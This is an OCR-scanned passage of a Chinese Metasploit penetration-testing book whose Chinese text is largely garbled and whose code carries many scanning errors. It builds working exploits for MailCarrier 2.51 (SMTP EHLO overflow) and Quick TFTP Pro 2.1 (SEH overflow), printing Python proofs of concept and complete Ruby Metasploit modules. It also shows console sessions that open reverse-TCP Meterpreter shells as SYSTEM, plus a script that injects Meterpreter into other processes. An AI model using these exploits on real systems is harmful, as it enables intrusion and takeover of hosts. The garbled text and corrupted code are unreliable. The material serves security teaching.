BN, A ELKnEAERIEE L. £ Metasploit EEEPEEFH - MEBEHGEHEHRE
B XA R A, BT T 8. Tl - ARERE T EAKEPRKEZ S, AR
R LUR BLIX AN % B LY shellcode #2451 1000 FAT IR Bl MEMKKE T E % 4
TFTN, (MRFETRHRUMNEEMNELFER, HEEIEE hup//www.exploit-db.com/downioad
_pdff13535/85% PR “BEREREEES -840 EREn ., CUTRXAEERNHEE
RAEMALIE, HPBENTCELFEERT shellicode, 354 jump BrEETE S HhE 34 T AAAA £ &,
(i SRR PoC, BABEEFLERNNETLURRIEREAFIHARE, BRaRF%
PrEg8cdi$idr, HERFTERS BB ETHTRGRBENN.)

#1/usr/bin/python

HRRARAB AR R RA BB R R R RS AR R R AR RBR AR BB BRI}
# MailCarrier 2.51 SMTP EHLO / HELQ Buffer Owverflow #
# Advanced, secure and gasy to use Mail Server. #
# 23 Oct 2004 - muts #
RERBAGBHRIRER BUS SRR R U R RS US4 BB SN R HRH DR SRR G

import struct
import socket

print “\n\n#RHEHRE IR ARASUR SRR HBBHH AR R URB RIS SRS
print "\nMailCarrier 2.51 SMTP EHLO / HELQ Buffer Qverflow”
print "\mFound & coded by muts [at] whitehat.co.il"

print "‘nfor Educational Purposes Only!\n"

print "\n\ndS SRR SRR S R S S S SR GRS

s = socket.socket(socket.AF_INET, socket.SQCK_STREAM)

buffer = "\x41" * 5093

buffer += "\42" * 4

buffer += "\xgo" * 32

buffer += "\xcc”" * 1000

try:
print “\nSending evil buffer...”
s.connect{{ 192.168.1.155",25))
s.send{'EHLO ' + buffer + '\r\n')
data = s.recv(1024)
s.close()
print "\nDone!”

except:
print "Could not connect to SMTP1"

R—ECEBE T, HiXa—BRHIRBEHBHEE Metasploit 88 B AR IE N /1%
REMERT — P EFRELCRRSIT . RINETRRIX 2.

@ HFE: HARE P ARG AE BT Jep./bbs.pediy com/showthread php?p=71303548p0st 71303 5 )
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Metasploit 7 % B #5 i

15.21 H¥W—TERMSER R

YE N BA T2 4 MailCarrier B {LIHEME —E, X — 2 FH M) Metasploit i#% A BB
TR, HERYE—MEERRREEEREIH, T BT

require 'msf/core’

class Metasploitd < Msf::Expleit::Remote
Rank = GoodRanking
@include Msf::Exploit::Remote: :Tcp

def initialize(info = {})
super{update_info{info,
'Name’ => 'TABS MailCarrier v2.51 SMTP EHLO Overflow’,
‘Description’ =» Xqf{
This module exploits the MailCarrier v2.51 suite SMTP service,
The stack is overwritten when sending an overly long EHLG command.
bs
‘Author’ => [ 'Your Name' ],
"Arch’ => [ ARCH X86 ],
‘License’ => MSF_LICENSE,
"Yersion' > '$Revision: 7724 %',
"References' =3

[

[ "C¥E', "2004-1638" ],

[ '0svpB', '11174° ],

[ 'BID', '11535' ],

[ "URL", 'bttp://www.exploit-db.com/exploits/598° ],
1,

"Privileged’ =» true,
'DefaultOptions’ =»
{

b
"Payload' =»

{

*EXITFUNC' =» ‘thread’,

!

300,
"\ x00\x0a\x0d\x3a",
'asm,

'Space’
'BadChars’
'StackAdjustment’

N
W W

b
'Platform’ =» ['win'],
"Targets' =»
|

1,

"DisclosureDate’ =>» 'Oct 26 2004°,
"DefaultTarget™ => 0))

@[ 'Windows XP SP2 - EN", { 'Ret’ => Oxdeadbeef } ],

register options{
|
©0pt: :RPORT(2Y),
Opt::LHOST(), # Required for stack offset
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F15F HEEALEEAR Metasploit #3R

], self.class)
end

def exploit
connect

@sock,put{sploit + "\r\n")

handler
disconnect

end

end

B Jy X MBS A A EAEL R, TR FER S Msf:Exploit::Remote:: Tcp X —
A mixin, WATDEEZRIHETDITR T mixin, #RFEIZEHE S mixin 7] BUMIFHRER -4
WNEFERE, LE Remote: Tecp®., FiHiTE AR TIE TCP #i{5.

EMEAFIHMENRS, BFRRE LEEMULBENER 1M A2HTHBNE
Oxdeadbeef®, ER{AH) TCP BV iXE N 250. HIEETIERRZ L2 )5, Metasploit %% id sock.put
RO RIERERB G, AMARMNTERZEANE.

15.22 HLESEWELTIE

#FRALRME - - T WEEETHEEERTITE, BATE £ EHME SMTP HHXER [
REFERH -TRBE, XREF-MCEFSE, RFE—DRAIEEE BIP O &6 bk, BE 2
—BREHESMITR, B&E5EAXME Shellcode KIRTFR . FTHMZXBECHNTH.

def exploit
connect

@sploit = "EHLO "
@sploit << "\x41" * 5093
@sploit <¢ "\x42" * 4
Osploit <« "\x90" * 32
@sploit <¢ "\xce” * 1000

sock.put{sploit + "\r\n")

handler
disconnect
end

BRINEZXRGANESE A RWERENNEENK, HE EHLC #1420, RER 5093
MEFFAHBNYEKEZRFEO, HFROoORFAXES EIP K4 1MFETO, UE- - NEFHESBITR
O, BRE B shellcode®.
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Metasploit ;&% MK #x @

BERIMEFEA —NEPEHAEO, #8 B HERFALMIT S shellcode FAEEE TX,
TG AN A BT A

EHETBERGERZE, BRINB XM E R mailcarrier bookrb FHRTEE modules/
exploitsiwindows/smtp/® 12 T »

15.2.3 MBI RGBRLZFNXS

F oo, RAE MSF S M s, SRAENEEET, REKE—
generic/debug_trap BUTHB AT (KE— M TEBENUARIEEFTANBGEYY, F5EEHH
ASEIRE B REFFIRLA - M R0, BT RETIXMREE.

msf » use exploit/windows/smtp/mailcarxier book
msf exploit(mailcarrier book) > show options

Module options:

Name Current Setting Required Description

LHOST yes The local address

RHOST yes The target address
RPORT 25 yes The target port

Exploit target:

0 Windows XP 5Pz - EN
mst exploit{mailcarrier_book) > set LHOST 192.168.1.101

LHOST => 192,168.1,101
msf expleit(mailcarrier book) > set RHOST 192.168.1.155
RAROST =»> 192.168.1.155
O msf exploit{mailcarrier bock) > set payload generic/debug trap
payload => generic/debug trap
ms¥ exploit{mailcarrier book) > exploit
[*] Exploit completed, but no session was created.
msf exploit{mailcarrier book) >

HATRET LRFFTRBHRA - REFREEN, MARKRR%FT generic/debug trap
W4 oy R AR RA TH2 B RS,

BB LRREITERZ A, WABNEsEE TNHBSEYNESN, i EIP #8028
WM N 42424242, W 15-1 7R, WRIRF T EIP TR TUE R 42424242, FRDC
ST LM BERGRRINT . 78 15-1 1, EIP BERCLRIKRM T 42424242, TSR AB/T
XAy R B A DS IR T — R BB X .,
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H15H HBEEREBET Metasploit 33K

e _ e —

B 15-1 MailCarrier #1# B FHFRE IS EIP

16.2.4 SCIEZRHRYFFTE

FRIFBS B B E I AR L4 o] LUER TS EIP bz 5, TR T KGR KELH
7t Metasploit HERE A -HokpE . BATGERZAE ‘Target” XHECE 8 #7iE (Ko bk %) IMP ESP 154
Hhht b, o7 DL IR SR 1B AR P (1 [B] — Huhik , 3X /M ik B 7F Windows XP SP2 BY) SHELL32. DLL
R B . M TFHBRERLRE, MHEIRD-EGERIEE IMP ESP FHERHAE, AmERE
AN EEBAERETS LREEREZET. B4R AFHBEAEFERERENRER
B EAGERIT/HE XPEABRXEY. RIOMEHNRE SHELL32 DLL AT, miX- bt
FEARFRRABRAFER Service Pack L& H. WBRRATGEETE B RS T HY P 170 5 32 3
—AFRAER) IMP ESP $84dht, FSEArBAAFE A Windows DLL P RI#AE 1, AT L
# 5 BBAETHEE Windows BIERKTFEHMLEAR, BEAZIHF—TAFRIERALE
4

‘Targets' =>

(
1,

[ 'Windows XP SP2 - EN', { 'Ret' => Ox7d17dd13 } ],

Metasploit 2fFiZ1T7H ZIHREEIALMAZBEL RSP, FRALEEEREEABK P #A
[target]'Ret']|.pack("V IR [F| it B ¥k, X SRERMBHFRARETHFHBARBEN T
¥AFP (KETFE —little-endian, FHFR B HFRRZA CPU B RSMTIER, Intel A RLH
AR .
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Metasploit 4 iEMXIRE

B pRFEFVTEANAAARFHREE, X —TRRBEGEATS L HAFNATE
4% target BL B 20, RAEHH B MiAEuit, X423 7 4555 KD H] Metasploit 2R F
B KA RSB A & iR A,

sploit = "EHLO "

sploit << "\x42" * 5003

sploit << [target['Ret']].pack('V")}
sploit << "\x90" * 32

sploit << “\xcc” * 1000

BT ERHER, NE2SXSEATHIE F]INT 3 X415/ shellcode 3644, 0
% 15-2 BFiR.

Ve

e X ANTe g h o ARG el JI Pauesd

B 15-2 EDhEE¥E RIS A Shellcode, BATOEHA R SR INT3 55T

16.2.5 IBinfa#1L

RERAARERNRZRERES FAENEEEEWN — KRBT A B ERE, BAx
R—RSE N PR R BRI K, B RNBENRBIARATREL KRN,
XX AT LASR IR 25 41 3 ¥ 38 Tk i /0 SR 1 .

B GICESE R INEEPLL, T RARENN Tagets’ ZHX P UEF—MENT EIP
B BT L offset (REEE, W Brm:

'Targets' =»

[
1,

O 'Windows XF SP2 - EN', { 'Ret' => ox7d17dd13, "Offset' =» 5093 } ],
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¥ 1538 HiBEAEEEE Metasploit HES2

EXRFY offset Z 5O, R HFTEABERABPFEINBE —XBTFHFA B2 -1
HEHRABRE, SFREEMR KETRESFRREREEA P STHREITF .

RARNIT LHESUS BB, #H Metasploit B314ER -MRENILNKE 2/ FH
B, RIEITH & L 5093 MET 4, RS RKETEERMASTEH — ISR RGEN K.
(a] EA{E AT rand_text_alpha_upper 3585 _HiR B#r, {HERALER ELEF HARNBHALA %, TTLL
7E Back|Track E iVl LB /opt/metasploit/msf3dib/rex/ 38 T W) text.rb 45, EFRHTH
MBEHH R E R RED

sploit = "EHLO "

sploit << rand_text_alpha_upper(target['Offset’]
sploit << [target['Ret']].pack('V")

sploit << "\x90" * 32

sploit << "\xcc” * 1000

MR LER, - RETR A UBRNFEFRRER M HARE TR TR BTSN,
KB REBITBELHRER, ERIERHITE.

1526 HBRZERSHITR

EINWT PREZRREFERAIENZEHESBITX, BHXRDI—EEE S EARRN
RN REANE. REX0 2 MRAEZVTHRERES, AEHAEE—1/AN2HES. AL
{8 F make_nops()ef $1K & iF Metasploit TERIB iR R — B S5 FH SRR S0 R
(&g ZIR

sploit = "EHLO

sploit <¢< rand_text_alpha_upper(target['Offset’'])
sploit << [target['Ret']].pack('V"}

sploit << make nops(32)

sploit << "\xcc" * 1000

BFNaTREAERGER, FERRARSHTHEE, ARMEFIRE INT3 RS THEER
BiF, ABRHNIZRELSRTXELWHBRAEGTERGIEHTAS, i 15-3 fix.

15.2.7 FHER{AER) Shellcode

EREREERPHAATERETIEWIEZE, RNBAEFHE LBRWER shellcode.
g i a5 Hf SRR A S BRCR P CE P BRI BT R IR 747,

sploit = "EHLO "

sploit << rand_text_alpba_uvpper(target| 0ffset’'])
sploit << [target['Ret’']].pack('V')

sploit << make nops(32)

sploit << payload.encoded
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Metasploit 7% 3w 1K

! =1 i e

-r . - = Poms o= [ o=y A - . .

[ 15-3  BEHLALET MailCarrier IR spix

Payload.encoded i #7%5 F Metasploit FEIZ 1T 23 4E € RIS EAE D RmE e, Byn3l
RIS,

ME, HBNEERIINEER, EF--DNLENBEEEHA, RERITE, RIATH AL
3R AEBL B K] shell T, #0 FFIoR:

msf exploit(mailcarrier book) » set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mailcarrier book) > expleit

[*] Started reverse handler an 192.168.1.101:4444
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192,168.1.101:4444 -> 192.168.1.155:1265)

meterpreter » getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter >

15.2.8 BT EARRKE
e -MRE, FHEREIXA Metasploit 125 B iR bR 177 8 1) B 2809

‘msf/core’

etasploit3 < Mst::Exploit::Remote
Rank = GoodRanking

include Mst::Exploit::Remote::Tcp
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F158F B BRBBET Metasploit {22

def imitialize(info = {})
super (update_info(info,
"Name’ =» 'TABS MailCarrier v2.51 SMTP EKLO Overflow',
'Description’ => ¥q{
This module exploits the MailCarrier vz.51 suite SMIP service.
The stack is overwritten when sending an overly long EHLO command.

},
'Author ' =» [ 'Your Name' ],
‘Arch’ => [ ARCH X86 ],
'License’ =» MSF_LICENSE,
'‘Version' => '$Revision: 7724 §',
‘References’ =5
|
I ‘j I‘m‘lﬁaﬂi ]j
[ 'OSVDB', "11174" ],
[ 'BID", *11535" ],
[ "URL", ‘http://www.exploit-db.com/exploits/598' ],
1,
‘Privileged’ => true,
‘DefaultOptions’ =>
{
"EXITFUNC' =3 'thread’,
b
'‘Payload’ =
{
"Space’ =» 1000,
'BadChars " =» "\WW00\x0a\x0d\x3a",
‘StackAdjustment’ =>» -3500,
1
'Platform’ =» ['win'],
‘Targets' =
[
[ 'Windows XP 5P2 - EN', { "Ret' => Ox7d17dd13, 'Offset’
ls
'Disclosurelate’ =» 'Gct 26 2004',
'‘DefaultTarget’ => 0})
register options(
|
Opt: :RPORT{25),
Opt::LHOST(), # Required for stack offset
], self.class)
end
def exploit
connect
sploit = “fHLO "

sploit << rand text_alpha upper{target[ Gffset’]}
sploit << [target['Ret’]].pack({'V"')

sploit << make nops{32)

sploit << payload.encoded
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sock.put{sploit + "\r\n")

handler
disconnect
end

RIS L 50 T ¥ MR X B 12 A URB M B Metasploit E42 !

15.3 SEH ZBHZERH

FTF—PER D, RATHEBE— T8 5 Quick TFTP Pro 2.1 ¥4 RE 436 (SHE)
i 7215 (U B Metasploit #E357h, SEH @ H AR ENAERRELBHNIEHATE. &
—ik SEH ## 9+, BATEZRGTAE —MrRNBRREENERcANAREFRRE L ER
B. £ X 1T2EART, SHERRE—IRER, YERITH—MROSEFRBE, R
o] LU IR AT IRIE @ NIRRT shellcode. IXMBRIBAIGH —MRPAHZEPE G HEHME S —
o, EEdEEFMEN.

EEFEDPRIMEER POP-POP-RETN AR A FRATV 6T LT i) P45 $1 70 A T2 X 6] 3 7k 18
STBEMRIEBIIT. POP-POP-RETN £ T RS SEH 3464T B R M A
B POP LG PHH —D WAL, BEASE - MAERLEES, F 249 PoOP
-5 FIRE AR — A TR EE, T RETNV 354 N34T 158 [ 3] — He B S 23 694058 242 ),
ER BT AT RIIEETHHERS.

BR: THEE X T SEHALZMNHEK, KTl AF hitp/iwww.exploit-db.com/download
_pdf/10195/, @

Quick TFTP Pro 2.1 202 H Muts 4511, 457 BLUA hitp//www.exploit-db.com/exploit
s/5315/3k FIEMEENRD, URATERFGNHER. BRINCAAX BB EHHITRE, #
BReR BB Metasploit Y, HER T HdLES. MREOTEALBHERINE
Metasploit PR E X BBERTIFAER.

#l/usr/bin/pythen

# Quick TFTP Pro 2.1 SEH Qverflow (Oday)

# Tested on Windows XP 5Pz,

4 Coded by Mati Aharoni

# muts,.at..offensive-security.com

# http://www.offensive-security.com/Oday/quick-tftp-poc.py.txt
HEHBAR R NH R RH AR AH G S AR R B E U R AR SRR RO R AR AR AR 4
import socket

import sys

@ #HAiE: AH e LFAEAS A F 43 http/bbs.pediy.com/showthread. php?t=102040).
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print "[*] Ouick TFTP Pro 2.1 SEH Overflow (oday)"”
print “[*] http://www.offensive-security.com”

hest = '127.0.0.%°
port = 6%
try:
s = socket.socket(socket.AF_INET, socket.S0CK_DGRAM)
except:

print "socket() failed”
sys.exit(1)

filename = “pwnd"
shell = "\xcec™ * 317

mode = "A"*10109+"\xeb\x08\x90Nx00" + " A\ xSB X 1A\Xd 3\ x T4 "+ " A\ x00 " *16+shel ]l

muha = "Ax00V\x02" + filename+ "N\0" + mogde + "wQ"

print "[*] Sending evil packet, ph3ir"”
s.sendto{muha, (host, port))
print "[*] Check port 3444 for bindshell”

AL AR H 7 IMP ESP 820 X i th = B BT A E:, BEER— 2 iR igs
BRI, ABRMEAIEHRMRY M.

require 'msf/core’
class Metasploit3 < Msf::Exploit: :Remote

@include Msf::Exploit::Remote: :Udp
@include Msf::Exploit::Remote: :Seh

def initialize(info = {})
super(update_info(info,
"Name ' =» 'Quick TFTP Pre 2.1 Long Mode Buffer Overflow',
‘Description’ =y ¥q{
This module exploits a stack overflow im Quick TFTP Pro 2.1.

}s

'Author’ =» 'Your Namz',
"Version’ => '$Revision: 7724 §',
'RefeTences’ =3

|
['CVE", "2008-1610'],
[*0SVDB', '43784'],
['URL", 'http://www.exploit-dh.com/exploits/5315'],

1,
‘DefaultOptions’ =»

{
}s

"EXITFUNC' =» 'thread’',
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"Payleoad’ =N
{
"Space’ => 412,
'BadChars' => "\xD0\x20\x0a\x0d",
‘StackAdjustment’ => -3500,

b
'Platform’ => 'win',
‘Targets’ =>
[
[ 'Windows XP 5P2',  { 'Ret' => 0x41414141 } ],
1,
"Privileged’ =» true,

‘DefaultTarget™ => 0,
‘DisclosureDate’ =» "Mar 3 2008°))

©register options{[Opt::RPORT(69)], self.class)
end

def expleoit
cennect_udp

print_status{"Trying target #{target.name}...")
Sudp_sock.put(sploit)

disconnect_udp
end

end

A IXABEARERT TFTP ¥HX, FESIH Msf:Exploit:Remete:Udp mixin®, 3 H
FATCHERH SEH, FHMt i EES| A Msf::Exploit::Remote::Seh mixin® 3 i/ 7] SEH #& H K —
A B TFTP @& 7E UDP Y 69 8y O L 3EAT BT, 3125 A 3 D1 A iZ8 08 I dr i ik
FISVARLEZED®. &5, —HREENBEFHRENZE, BEABEERZEBME O,

RAVFFEEH TFTP R4 Python BB HEEMAERNBRRINBERGF/FE, IF
IR INFBENHEABX .

. def exploit
cornect udp

print_status("Trying target #{tarpet.name}...”)

evil = "\x41" * 1019
Qevil ¢< "\xeb\x08\x90\x90" # Short Jump
®evil << "\x58\x14\xd3\x74" # POP-POP-RETN
evil <¢ "\x90" ¥ 16 # NOP slide
evil << "\xcc" ¥ 412 # Dummy Shellcode
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©sploit = "\x00\x02"
sploit << "pwnd"
sploit << "\ux0o"
sploit << evil
sploit << "‘x00"

udp_sock.put(spleit

disconnect_udp
end

H15 K SR EINE Metasploit 52

)

fE 1019 MNEFF A MRRYISREF R G, Bin- -4 OX i NSEH. 7EREH
g, BIMERT —PEAFEE D EF R D MailCarrier FYE > F 78, 7£1X8H, WESE
# SEH #l NSEH K Wi sl B . 9T —1 POP-POP-RETN 184 55| T4 bt 2%

#i SEH®, X183 |SHEFHIT

FERANIBTEFHIK A EX A,

ETFHR, IATHRXNHBEES T TFTP B RHA- - MGEK, RATE sheilcode /5

5 MMixo0\w02@ .

BAE, REOXMEERE RN, T BARIR & BETIETT, BB EEE SEH #

IR, W 154 Fios.

JL [
| . :.-:I_.I. - - - =

L '-
L )
.*"__-JEF__
09 L ZFEEC
A LI .

oLk g
-."._‘I'_'_
. r

414
414
3

0

Sl e SO9D9090

vl CCECECEE
Sl b ECCREECL
o FeTo CCCCLCCC
v ] [

v+ LCCC
v CCC
Py QEE

PR C [
-

14141 AAHAF

14141 ARRA

aa2EE - Fointer To next SEH rac
314582 (Nt SE Randles

o

HATE IS
WADLBIG EEEE
S S0

gESE
EEEE
I [EdFir
[EIFIFIr
IFIFIFIF
IFlFIFIF
[EIFIFIF
IFIFIFIT
= IFlEIFIF
v |FIFIFF
IR

COCCC
EQEEE
CoCCC
I

B 15-4 Quick TFTP #J#1#5 SEH ¥ 5

BT RE HHFEFN—RKB T2/ 4 AZHRSBITEK LMK IDS #%, BRIMGEL—H

TR, BAaAFESRE

BA— P REFENBVATHSR, B0 1525885 EH

FIRPRFH, TEEEEDFIREFATS B T XM RE.

evil - rand_text_alpha_upper(1019)

evil << "\xeb\x08\x90\x90"
evil <¢ "\WxS58\x14\xd3\x74"
evil << make nops(16}
evil << Mixce” * 412

¥ Was: "\x41" * 1019

# Short Jump

# pop/pop/ret

# Was: "\wo0" * 16 # NOP slide
# Dummy Shellcode

ERREHZE, RINEMZEETHEERKNIhE, WE 15-5 Fix, BENAEER TR S
e HiRRFEER, T SEH & Z AT A ua sl
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B1e1] o -atd = PRI g Lilg'/’

], FEOE S2q4F4542 CEQOR

] P GFS15343 HSOO

i oS0 S2dE4249H EBEFR

WloFERd 52474344 DLGH

Gl 2FERS 484E4B41 AKNH

ol SRRl BEEZ5964 TYSU

Sl P REn 4E4351432 HEHH

Oul SFERES 4RERSS4S ILIP.J

Bl ZFER: 4CEZ41EE URRL

AA12FEEC 96934aSEE 3Bc€ Fointer to nedt SEH record
stery F ECEY FHOS14E2 K7t SE handler

BEEFEZUr min*™
H47e2F14 N re
ASF94F4Z EQ-&
F5IFFCIF ¥ fu
CCCCCCCT iflkle

i
3
LT

N
JF B
RES
.FE-
. FE.C
FEC
¥
1
-

E-!

E::

E

E

E.
Eld
F:

E

!,';.

L

'|'.r"'!-':|'
-|.- r

[+«.

t COCCCCCE |
e LRSS

wwry rEEC

el R EFa

1 ZFEF IFIFI

i '."_'-F:::: =

/& 15-5 BEFLEZ SIS Quick TFTP BthF &

BErRIAEERE RS IET TIER, # T R{E Targets' TEX P ER B ML, ZA-RP|F
¥] POP-POP-RETN 1845 B HAL R M oledig.dil PIREIK, MFEREEAEB &, Hidd
MB RN LN BEEBNRE M ARFPRE - NEPRTES L, BE4m ] By
BT T Windows DLL BB A {hi@iB ik, "LARGEERNBRIERANRE.

‘Targets' =>

[
1,

@[ 'Windows XP SP2', { 'Ret' =»> Ox74d31458 } |, # p/p/r oledlg

ML Windows XP SP2 {fEA B ¥R, R[BIHAWEA Ox744314580, # FRENZEFER —F
1019 T KEAEF ML T

evil = rand text alpha upper{1019}
evil << generate seh payload(target.ret)
evil << make_nops(16)

generate_seh payload iR #{E H AU IR [RIdh AL, 4 BaiiEA N EBERS (BB
TPk SEH AL BEE) . RPN ERLR AR, HEHKBMAR POP-POP-RETN 154
.

BA1BE —IXER &N shellcode iz 7L MBI TR, WA 15-6 Bras, T LUHHE
FAEE —EEALR AR, MIMMEAZFSBMIRERIEENERZZT. EZEEAT. Bl
ARSI ESRERET -8, FAETIW A8 LT IDS ffll, Tl FETRITR
#iE IDS X ARNTHR S RAZURE.
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] 25F g
A F s
] e b
tird] D F Rt
b1l 2P B
M1l ZFEwr-:
Lt ] S Eeti
Pl FE vt
WKL Z2FEE =
Pt ZFEE -
aa12FEEC
[ IFRA
vt

R
JEIE 494
Co415249
JF 424 4R

HE

4u.4140G0 P

47 42E5CK

L ol

484 74544

251544 JTH
SeSS4BE4E EER
SASS4I4E MOV
v 12800EE 4!

rd031453 "

Dz0R9=1

15 ¥ E:$IER 3B EE] Metasploit 5

FPaintey o next SEH record

r “E handles

R A C2\BE THEE
T - Yot | s 24
anrt oo EAAZELFY
] R DzlgvEEl
a1 2FeL. C2831872
ves 1 JFE[00 SFEFEZ@S
f21FEEn EFIDEZAS
Al FEES4 49BRACTDEA
el kFEE: De32F91R
Ml JFEFT 1DRCE=SS
] S EF G

=4-M
1stTw
(taT
*BA
= | i Ju]
<1l I
T Zr
Sla#
134TELSF Lgah
DR SFEF 4 L Cd4AnT allfly
A I 2

B 15-6 Quick TFTP 527 H]

BTk, :RUEER shellcode, FFHA— N ERBEHRFARETRR, KERAH shell
&G, WMFETR,

msf > use exploit/windows/tftp/quicktftp_book

msf exploit{quicktftp_book) > set payload windows/meterpretex/reverse_tcp
payload => windows/meterpreter/reverse_tep

msf exploit{quicktftp book) > set LHOST 192.168.1.101

LHOST => 192.168.1.101

mst exploit(quicktftp_book) > set RHOST 192.168.1.155

RHOST =» 192.168.1.155

msf exploit{quicktftp_book) > exploit

[#] Started reverse handler on 192.168.1.101:4444

[*] Trying target Windows XP SP2Z...

[*] Sending stage (747008 bytes)

[*] Meterpreter session 2 opened (192,168.1.101:4444 -> 192.168.1.155:1036)
meterpreter » getuid

Server username: V-XP-S5P2-BAREMAdministrator

e DR E| T -4 Meterpreter ] Shell, HEA1DL2MRINMIE- 4~ SEH Hi@EALEH
2] 7 Metasploit #2587 !

require 'msf/core’

class Metasploit3 ¢ Msf::Exploit::Remote
include Msf::Exploit::Remote: :Udp
include Msf::Exploit::Remote::Seh

def initialize{info = {})
super{update_infa(info,

‘Name' =y 'Quick TFTP Pro 2.1 Long Mode Buffer Overflow’,
'‘Description’ => %1

This module exploits a stack overflow in Quick TFTP Pro 2.1.
}s
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"Author’ =» 'Your MName’,
'VYersion’ =» '$Revision: 7724 %',
'References’ =

!
['CVE', '2008-1610'],
['OSVDB', '43784°],
['URL", ‘http://www.exploit-db.com/exploits/s315°],

1,
‘Defaultdptions’ =>

{
"EXITFUNC ' =» 'thread',
b
"Payload’ =>
{
"Space’ => 412,
'‘BadChars' =»> "\x00\x20\x0a\x0d",
‘StackAdjustment’ => -3500,
1
‘Platform’ => 'win’,
‘Targets' =>
{
[ 'Windows XP SP2°, { 'Ret’ => Ox74d31458 } 1,
# p/p/r oledlg
"Privileged’ => true,
'DefaultTarget’ => 0,
'DisclosureDate’ => 'Mar 3 2008'))
register options{[Opt::RPORT(&9)], self.class)
end

def exploit
connect udp

print_status("Trying target #{target.name}...")

evil = rand_text_alpha upper(1019)
evil << generate_seh payload(target.ret)
evil << make nops{16)

sploit = "\x00\x02"
sploit << "pwnd"
sploit << ™wxo0"
sploit << evil
sploif <¢ "\x00"

udp sock.put{spleit)

disconnect udp
end
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15 M EEBEHETE Metasploit #352

15.4 &5

KEF B FREFBERT B T2 AR R EAEBE AT Meaasploit B39, 4R7]
LK & P Z HER R R AR E R ER T Metasploit BT, (HXTHE —LAHMRERHEA,
EHEMRE CET SR EHEE.

LA BEFE, WRFEAI T WFERA - SERL RS KHRT - K Lk E &g, #
FBIHBEHE T Metasploit ERY . RIHEFLA T -~ SEH B i WHEBIEANE, vRvsd
R A HALH B ER R RAT. BIMERA T POP-POP-RETN H R R 1F B TR LA HAIT B B8
F1. FHERE T Metasploit P, BIf§ T — Meterpreter Shell.

HF 16 P, HHERAR Meterpreter A ESREBBERLTERRAP. JRINCEE
T—PMREHFHENT Meterpreter, FJUBATRER#E - EHHLEER. BIEOBENED
i) Meterpreter Jil&, 322 3] Metasploit {2282 ML), URNMAEBEERERED.
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® oW
Meterpreter B ARz

Metasploit B KFIRIEFEGRGE (L /RY BAE I Meterpreter I BERME. EFXE, K%
Fl) Meterpreter I A RFZHERE, — B HHNRERBORAH, LLEU{ATA Meterpreter FIEfT XL
MAwS . RAVFN BIER Meterpreter BIEREM A TE: B - H LAY ML, WK
2 iR AE SR, HEERETER, BARRAAMMEEEERERY: B2
LR G AR, A FRRAE 13 Bl &, TURAIAEELEPFEAAT.
(55 A Carlos Perez [darkoperator] X 4 B ) 7k )

16.1 Meterpreter A 412 E Al

BT [ Meterpreter Bl & E TR H 3K T M scripts/meterpreter/ 3D, BAE SoRBT
BEHBLA, PIELEE Meterpreter shell HH7A TAB &, ZEHA run, B#A TAB 2.
AT — B E Meterpreter WA, REHEERINECHEE. BIBEEREST



Metasploit &8 i+

multi_meter_inject 3., ZBIA SER5IE Meterpreter shells FE AR A — T #HES. Bk, BIIRA
#F T i% Meterpreter A Q % TR Gr-S1T % BRI A E FEM .

meterpreter > run multi_meter_inject -h

Meterpreter script for injecting a reverse tcp Meterpreter payload into memory space of
multiple PID's. If none is provided, notepad.exe will be spawned and the meterpreter

payload injected into it.

OPTIONS:

-h

-m O
-mp ®@<opt>
-mr @<opt>
-p O<oopt>
-pt

Help menu.

Start Exploit multi/handler for return connection

Provide Multiple PID for connections separated by comma one per IP.
Provide Multiple IP Addresses for {onnections separated by comma.

The port on the remote host where Metasploit is listening {defavlt: 4444)

<apty Specify Reverse (onnection Meterpreter Payload. Default windows/
meterpreter/reverse tcp

meterpreter »

FB—NEE-m RO, ORIy —MEHREW S, RKAeEERREE. nRE
B0 (Fn 443 W) , RAFTEREX RS, #TR FTEREUEN PID T O,

TRA 195 E A shell FEAFHESF .

M R ik Meterpreter ZERAFTIBAT. URBEANHABEZS, RIS Meterpreter 7 A F ik
BN FZRIF4ERIT, ZHERNVBEFRERE, A2MERETEMGERE, TE
LR £ 0] T HY shell #1218,

HTF%, BMNHBERERTGVLAE Meterpreter 5 EEN 1P ht OGO 6.

& Meterpreter 1A ps 2 0] 3 B & ALt E R &

meterpreter > ps

Process list

ERT=rHmuAEREETTN

256
164
312
424
an
516
524
532
2808

Name

[System Process]
System

SMSS . eXe
¢ST55.eXe
wininit.exe
CSYSS.exe
winlogon,exe
SeIvices.exe
1sass.exe
lsm,exe
iexplorer.exe O

meterpreter »

Arch Session User Path

- .- Ll B LB I B 3 . == == -

xB6
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E 168 Meterpreter B X iRIE

BANTHFr 1 Meterpreter shell £ A2l jexplorer.exe@iftfEd, EXHEHPER— I REEANFHF

HIE T2 H ) Meterpreter #H6, MASEF RS L.
i BAMER ZATE B — EETUELT mudti_meter inject tr%, FBRFCERTIER LIE:

meterpreter > run multi_meter_inject -mp 2808 -mr 172.16.32.129 -p 443
[*] Creating a reverse meterpreter stager: LHOST=172.16.32.129 LPORT=443
[*] Injecting meterpreter into process ID 2808
[*] Allecated memory at address 0x03180000, for 290 byte stager
[*] Writing the stager into memory,..
[*] Sending stage (749056 bytes) to 172.16.32.170
[+] Successfully injected Meterpreter in to process: 2808
@ [*] Meterpreter session 3 opered (172.16.32.129:443 -> 172,16.32.170:1098) at
Tue Nov 30 22:37:29 -0500 2010
meterpreter »

MECHFTLUCE S, BB 2 B IT Ty — 15 Meterpreter ZIGHR T, WORR,

BERMTHTMERESEMETIE, RTRIEMTERMATIEY, HBRMAS#ERILD
5y, XA BVRAVE G oIS, BT 7RS4

HER Ho2 SERMETAEN, PERBIBELES Meterpreter 64T

# $Id: multi meter_inject.rb 10901 2010-11-04 18:42:367 darkoperator %
# $Revisien: 109501 §
# Author: Carlos Perez at carlos perez[at]darkoperator.com

BERHER ARG RENY Variable Declarations ##BAR#AEHRGHHERIR

gclient = client

lhost = Rex::5ocket.source_address(“1.2.3.4")
lport = 4444
lhost = "127.0.0.1"

® pid = pil

multi ip = nil
multi pid = []
payload_type = "windows/meterpreter/reverse tcp"
start handler = nil
8 @exec_opts = Rex::Parser::Arguments. new(
"-h" =» [ false, "Help menu.” ],
"-p" => [ true, "The port on the remote host where Metasploit is
listening (default: 4444)"],
"-m" =» [ false, "Start Exploit multi/handler for return cormection”],
“-pt" => [ true, "Specify Keverse Connection Meterpreter Payload.
Default windows/meterpreter/reverse tcp™],
